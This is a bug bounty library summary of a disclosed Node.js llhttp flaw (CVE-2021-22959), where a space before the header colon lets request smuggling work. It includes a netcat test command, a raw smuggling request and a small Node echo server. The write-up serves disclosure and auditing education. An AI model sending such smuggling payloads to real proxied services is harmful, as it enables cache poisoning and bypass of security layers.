# HTTP Request Smuggling due to accepting space before colon

Node's llhttp parser accepted a space before the header colon, letting Content-Length be parsed differently than a front-end proxy to enable request smuggling.

- Payout: $250
- Severity: medium
- Program: Node.js
- Found by: mkg
- Disclosed: 2021-10-20
- CVE: CVE-2021-22959
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1238709
- Library page: https://bugbountylibrary.com/r/h1%3A1238709
- Tags: area:oss domain:oss impact:integrity kind:bounty platform:hackerone sev:medium tech:nodejs technique:parser-differential technique:source-review vuln:request-smuggling

**Target:** Node.js http module / llhttp HTTP parser
**Root cause:** llhttp allowed whitespace between header field-name and colon, violating RFC 7230 §3.2.4, so a `Content-Length :` header was still honored as a body-length header.
**Steps:**
1. Run a Node http server on port 5000 that echoes body length.
2. Send `echo -en "GET / HTTP/1.1\r\nHost: localhost:5000\r\nContent-Length : 5\r\n\r\nhello" | nc localhost 5000`.
3. Observe Node parses body as `hello`, confirming it accepted the space-before-colon CL header.
4. Craft a smuggling payload where the proxy ignores `Content-Length :` but Node honors it, desyncing the request stream.
**How found:** Code-reading of llhttp's header parsing (http.ts lines 410-415) plus RFC 7230 §3.2.4, which explicitly warns that whitespace-before-colon handling differences cause request routing vulnerabilities; then tested Node's behavior with a raw netcat request.
**Exploitation:** Precondition: a front-end proxy that ignores or strips the space-before-colon Content-Length header but forwards the raw bytes. Attacker sends a request with `Content-Length : 23` followed by a smuggled second request; the proxy sees two requests while Node sees the first and a different third request, enabling cache poisoning or security-layer bypass.
**Insight:** When auditing HTTP parsers, test every RFC-mandated rejection (whitespace before colon, obs-fold, duplicate CL, bare LF) against the parser and compare with common proxies; any lenient acceptance is a desync candidate even without a known vulnerable proxy.

## Proof of concept (copied exactly from the original report)

**nc request with space before Content-Length colon**

```
echo -en "GET / HTTP/1.1\r\nHost: localhost:5000\r\nContent-Length : 5\r\n\r\nhello" | nc localhost 5000
```

**Smuggling attack request with space before colon**

```
GET / HTTP/1.1
Host: localhost:5000
Content-Length : 23

GET / HTTP/1.1
Dummy: GET /smuggled HTTP/1.1
Host: localhost:5000
```

**Node server PoC app.js**

```
const http = require('http');

// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/

http.createServer((request, response) => {
  let body = [];
  request.on('error', (err) => {
    response.end("error while reading body: " + err)
}).on('data', (chunk) => {
    body.push(chunk);
}).on('end', () => {
    body = Buffer.concat(body).toString();

    response.on('error', (err) => {
        response.end("error while sending response: " + err)
    });

    response.end("Body length: " + body.length.toString() + " Body: " + body);
  });
}).listen(5000);
```

